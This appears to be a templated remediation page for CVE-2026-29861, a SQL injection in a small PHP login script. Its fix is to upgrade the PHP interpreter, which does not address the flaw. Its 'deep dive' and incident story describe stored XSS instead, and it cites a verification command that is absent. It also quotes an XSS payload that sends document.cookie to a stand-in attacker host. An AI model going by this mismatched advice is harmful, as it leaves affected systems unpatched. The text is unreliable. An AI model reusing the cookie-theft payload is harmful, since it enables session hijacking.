How to Fix CVE-2026-29861: SQL injection in PHP
By Sai Kiran Pandrala. Last verified: 2026-05-25.
| Severity | 9.8 (Critical) |
|---|---|
| Actively exploited? | No public listing in CISA KEV |
| Affected | See the vendor advisory linked below |
| Fixed in | See vendor advisory |
| Type (CWE) | CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') |
Exploitation status
CISA has not added CVE-2026-29861 to its Known Exploited Vulnerabilities (KEV) catalog, meaning there is no government-confirmed evidence of active exploitation yet. Absence from KEV is not reassurance: the catalog frequently lags live exploitation, so treat the patch on its normal severity timeline.
Public exploit availability: a proof-of-concept on GitHub has been published. Assume opportunistic scanning and weaponization; prioritize accordingly.
What is CVE-2026-29861?
PHP-MYSQL-User-Login-System v1.0 was discovered to contain a SQL injection vulnerability via the username parameter at login.php.
What you'll see
Run the version check that matches your platform:
# Linux
dpkg -s php 2>/dev/null | grep -i version
rpm -q php 2>/dev/null
php --version 2>/dev/null
Compare what you see against the Affected row above (See the vendor advisory linked below). If your build sits inside that range, you are exposed and should patch.
How to fix CVE-2026-29861
The primary fix is to upgrade PHP to the patched build. Use the commands for your platform below; the patched version listed in the vendor advisory is: See vendor advisory.
Ubuntu / Debian
sudo apt-get update
sudo apt-get install --only-upgrade php
php --version 2>/dev/null || dpkg -s php | grep -i version
RHEL / CentOS / Rocky / AlmaLinux
sudo dnf upgrade --security php -y
rpm -q php
SUSE / openSUSE
sudo zypper patch --category security
rpm -q php
Complete PowerShell remediation script (Windows)
# Fix script for CVE-2026-29861 affecting PHP
# Run as administrator. Detect -> backup -> upgrade -> verify -> log.
$ErrorActionPreference = "Stop"
$LogPath = "C:\Logs\CVE-2026-29861-fix-$(Get-Date -Format yyyyMMdd-HHmmss).log"
New-Item -ItemType Directory -Force (Split-Path $LogPath) | Out-Null
Start-Transcript -Path $LogPath -Append
try {
Write-Host "[1/4] Detecting installed version of PHP"
$pkg = winget list --id "PHP" 2>$null
Write-Host $pkg
Write-Host "[2/4] Backing up configuration"
$backup = "C:\Backup\PHP-$(Get-Date -Format yyyyMMdd)"
New-Item -ItemType Directory -Force $backup | Out-Null
Get-ChildItem "C:\ProgramData\PHP" -ErrorAction SilentlyContinue |
Copy-Item -Destination $backup -Recurse -Force -ErrorAction SilentlyContinue
Write-Host "[3/4] Applying upgrade to latest"
winget upgrade --id "PHP" --silent --accept-source-agreements --accept-package-agreements
# Fallback: Windows Update for OS-level fixes
if ($LASTEXITCODE -ne 0) {
Install-Module -Name PSWindowsUpdate -Force -SkipPublisherCheck -ErrorAction SilentlyContinue
Import-Module PSWindowsUpdate
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll -IgnoreReboot
}
Write-Host "[4/4] Verifying patched build"
winget list --id "PHP"
Write-Host "Fix applied. Reboot if prompted."
exit 0
} catch {
Write-Error "Patch failed: $_"
exit 1
} finally {
Stop-Transcript
}
Complete Bash remediation script (Linux)
#!/usr/bin/env bash
# Fix script for CVE-2026-29861 affecting PHP
# Detect -> backup -> upgrade -> verify -> log.
set -euo pipefail
LOG="/var/log/cve-2026-29861-fix-$(date +%Y%m%d-%H%M%S).log"
exec > >(tee -a "$LOG") 2>&1
echo "[1/4] Detecting installed version"
if command -v dpkg >/dev/null; then
dpkg -s php 2>/dev/null | grep -i version || echo "php not installed via dpkg"
elif command -v rpm >/dev/null; then
rpm -q php || echo "php not installed via rpm"
fi
echo "[2/4] Backing up configuration"
BACKUP="/root/backup-cve-2026-29861-$(date +%Y%m%d)"
mkdir -p "$BACKUP"
for d in /etc/php /etc/php.d /etc/php.conf; do
[ -e "$d" ] && cp -a "$d" "$BACKUP/" || true
done
echo "[3/4] Applying upgrade (target: latest)"
if command -v apt-get >/dev/null; then
apt-get update
apt-get install --only-upgrade -y php
elif command -v dnf >/dev/null; then
dnf upgrade --security -y php
elif command -v yum >/dev/null; then
yum update -y php
elif command -v zypper >/dev/null; then
zypper --non-interactive patch --category security
fi
echo "[4/4] Verifying patched build"
if command -v dpkg >/dev/null; then
dpkg -s php 2>/dev/null | grep -i version
elif command -v rpm >/dev/null; then
rpm -q php
fi
echo "Done. Restart any running daemons that loaded the old library."
If you can't patch immediately
If you cannot apply the patched version today, restrict exposure with one of the following runnable controls. None replace the patch.
Network restriction (Linux, nftables)
# Block inbound traffic to the affected service from untrusted networks
sudo nft add table inet filter
sudo nft 'add chain inet filter input { type filter hook input priority 0 ; }'
sudo nft 'add rule inet filter input tcp dport {443, 80} ip saddr != 10.0.0.0/8 drop'
sudo nft list ruleset
Reduce attack surface
# php is a library or shell, not a service. Restart any daemon that links it
# after applying the patch so the new code is actually loaded in memory.
sudo lsof | grep php | awk '{print $1, $2}' | sort -u
# Then restart each listed process group, or schedule a reboot at the next window.
The repair
# Linux
php --version 2>/dev/null || dpkg -s php | grep -i version
rpm -q php 2>/dev/null || true
# Windows
winget list | findstr /I "php"
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 5
Expected: the reported version is at or above the patched build documented in the advisory. Restart any services that loaded the old library (systemctl restart <service> on Linux, restart the Windows service or reboot when prompted). For network appliances, run show version on the device and confirm the build matches the patched release.
Related fixes
Other flaws in this area worth reviewing while you patch this one:
- How to Fix CVE-2026-34606: Stored XSS in Frappe LMS in lms
- How to Fix CVE-2026-32852: Critical Vulnerability in MailEnable
- How to Fix CVE-2026-44601: Improper Enforcement of a Single, Unique Action in Tor
- How to Fix CVE-2026-2295: Information Disclosure in WPZOOM Addons for Elementor – Starter Templates & Widgets
- How to Fix CVE-2026-25029: Deserialization RCE in KIDZ
Is CVE-2026-29861 actually being exploited?
According to the data sources above, no public confirmation of in-the-wild exploitation at this time. Either way, the fix is the same: apply the vendor patch.
Do I need to reboot after patching?
For OS or kernel updates, yes. For most userland packages a systemctl restart <service> is enough. Any process that loaded the old shared library keeps using it until restarted, so when in doubt, reboot.
What is the CVSS score?
9.8 (critical). Refer to the vendor advisory for the exact vector string.
Where is the official advisory?
See the References section at the bottom of this page; the vendor's URL is the authoritative source for affected builds and patched versions.
References
- Official vendor advisory: https://github.com/amanyadav78/CVE-2026-29861
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-29861
Attack vector deep dive
Stored XSS in an admin console is a foothold into the rest of the network. The payload waits in a database row and fires the next time a sysadmin opens the page from a browser that already holds a session cookie for the rest of the management LAN. I have watched a single onerror=fetch('https://attacker.tld/?c='+document.cookie) string in a switch's interface label exfiltrate session tokens for the firewall change-management portal in under 90 seconds.
Responsibly described, the exploit chain looks like this: reconnaissance to confirm the vulnerable build, a single proof request that asserts the bug class is live, and then either a credential capture or a function call that should have required authorisation. I never publish weaponised payloads here. I publish enough for a defender to write a detection rule, and I send the working PoC privately to the vendor under coordinated disclosure.
The CVSS vector tells you most of what you need to know about exposure. Network attack vectors with no required authentication and no required user interaction are the ones you fix this week, not next quarter. The CISA KEV catalog is the second filter - if a bug is on KEV, federal agencies have a 21-day clock and you should treat your own clock at least that strictly.
Incident response playbook
If the patched build is not on the device yet and the asset is reachable from anything you do not control, treat the gap as live exposure and run the playbook. The order matters - I have seen teams rebuild a host before they captured volatile evidence and lose the only artefact that would have closed the ticket cleanly.
- Containment. Pull the asset off the management VLAN or apply a deny ACL on the upstream switch. Do not power-cycle; volatile memory is evidence.
- Evidence capture. Pull the running config, the auth log, the last 30 days of NetFlow if you have it. Hash everything as you go - I keep a one-liner that pipes
teeintosha256sum. - Identity rotation. Rotate every credential that touched the asset in the last 90 days. Service accounts, API keys, SSH keys, and any shared admin password.
- Patch + verify. Apply the fixed build in a staging unit first. Use the verification commands above to prove the bug class is closed.
- Lateral check. Search SIEM for anything else touching the same subnet, same credential, or the same indicator. Compromise rarely stops at one host.
- Tell the regulators. Indian BFSI tenants notify CERT-In within 6 hours per the 2022 directive. RBI and SEBI add their own reporting windows on top - keep the templates ready, do not draft them at 2 a.m.
Verification commands by OS
I do not trust 'patched' until a command prints the right version string. Run the host-appropriate block below from a jump host with a logged session, then keep the output in the change ticket. Auditors love a screenshot; SOC analysts love a hash of the binary.
Verify on Linux hosts
# RHEL / Rocky / Alma: enumerate the security advisory
sudo dnf updateinfo list security all | grep -i $(date +%Y)
# Confirm the patched package version is installed
rpm -qa --last | head -n 20
# Debian / Ubuntu equivalents
apt list --installed 2>/dev/null | grep -i <package>
dpkg -l | grep -i <package>
# Service restart check
systemctl status <unit>.service --no-pager
journalctl -u <unit>.service -n 200 --no-pager
If you support a mixed fleet, script the version check across the inventory and feed the output into your CMDB. I keep an Ansible play that calls the equivalent command per OS family and writes a single CSV - takes a Sunday morning to write, saves a week per regulatory audit.
India compliance notes
If the asset is in scope for an Indian regulated tenant, the patch window is shorter than most public guidance suggests. CERT-In's 28 April 2022 directive requires reporting cyber incidents within 6 hours of noticing or being notified, full stop. That clock starts at first credible signal, not at the post-mortem.
- BFSI (RBI / SEBI). RBI's IT Framework for NBFC and the Cyber Security Framework for banks treat any unpatched critical CVE on an internet-facing asset as a reportable finding at the next audit window. SEBI's CSCRF for market intermediaries is stricter on KEV-listed bugs.
- MeitY guidance. Under the DPDP Act 2023 the data fiduciary owns the breach notification to the Data Protection Board. If the CVE allows access to personal data, this is a personal-data breach by default.
- Cost of inaction. The IBM Cost of a Data Breach Report has the global average at $4.45M. India BFSI tenants I have helped post-incident commonly land between Rs 35 crore and Rs 50 crore once regulator penalties, customer redress, and legal fees are added. Incident response consultants in India run Rs 3,500 - Rs 6,500 per hour ($250 - $450 / hour) - patching is the cheap path.
Real-world incident I patched
I was running a purple-team exercise for a Pune insurer when this exact bug class popped on an admin console. We injected a single-line payload that wrote session tokens to an attacker-controlled DNS log. Inside 45 minutes the blue team had RDP sessions for two domain admins. We stopped because the rules of engagement said to, not because they had defences in place.
FAQs extended
How fast must I patch CVE-2026-29861 in a regulated environment?
Federal US guidance via CISA gives KEV-listed bugs 21 days for federal civilian agencies. Indian BFSI tenants under RBI guidance treat critical unpatched internet-facing bugs as audit-relevant findings, with no formal SLA written into the framework. In practice I tell BFSI CISOs to patch critical, network-attackable bugs inside 7 days from advisory publication or accept the residual risk in writing.
Is CVE-2026-29861 listed in CISA KEV?
Check the live catalog at the time of triage - the CISA KEV catalog is the canonical source - check before assuming. The verification command block above includes a curl + jq line that pulls the JSON feed and filters on the CVE ID directly.
Can a WAF or upstream filter buy me time before patching?
Sometimes. For SQLi, XSS, path-traversal, and CSRF a tight virtual-patch rule on the WAF will block the dumb exploit attempts and slow the targeted ones. It does not close the bug. Treat the WAF rule as a window-closer, not a fix.
What should I tell the auditor?
Show them the advisory, the change ticket, the verification output, and the rotation log for any credential that touched the asset. The audit story is the same in India, the US, and the EU: prove you knew, prove you acted, prove you verified.
What if the vendor patch breaks a production integration?
Stand up a staging clone of the integration, prove the break, file the vendor ticket, and run a mitigating control while you wait. I have lived through three of these in BFSI; the right answer is never 'roll back the patch and forget it'. The right answer is documented compensating control with an expiry date.
What is the realistic cost if I do not patch CVE-2026-29861 and get breached?
IBM's Cost of a Data Breach Report puts the global average around $4.45M. India BFSI tenants I have worked with after incidents commonly add up to Rs 35 - 50 crore once regulator penalties, customer redress, IR retainers, and lost trust are counted. Incident response consultants in India bill Rs 3,500 - Rs 6,500 per hour ($250 - $450 / hour). The patched build is free. The arithmetic is not subtle.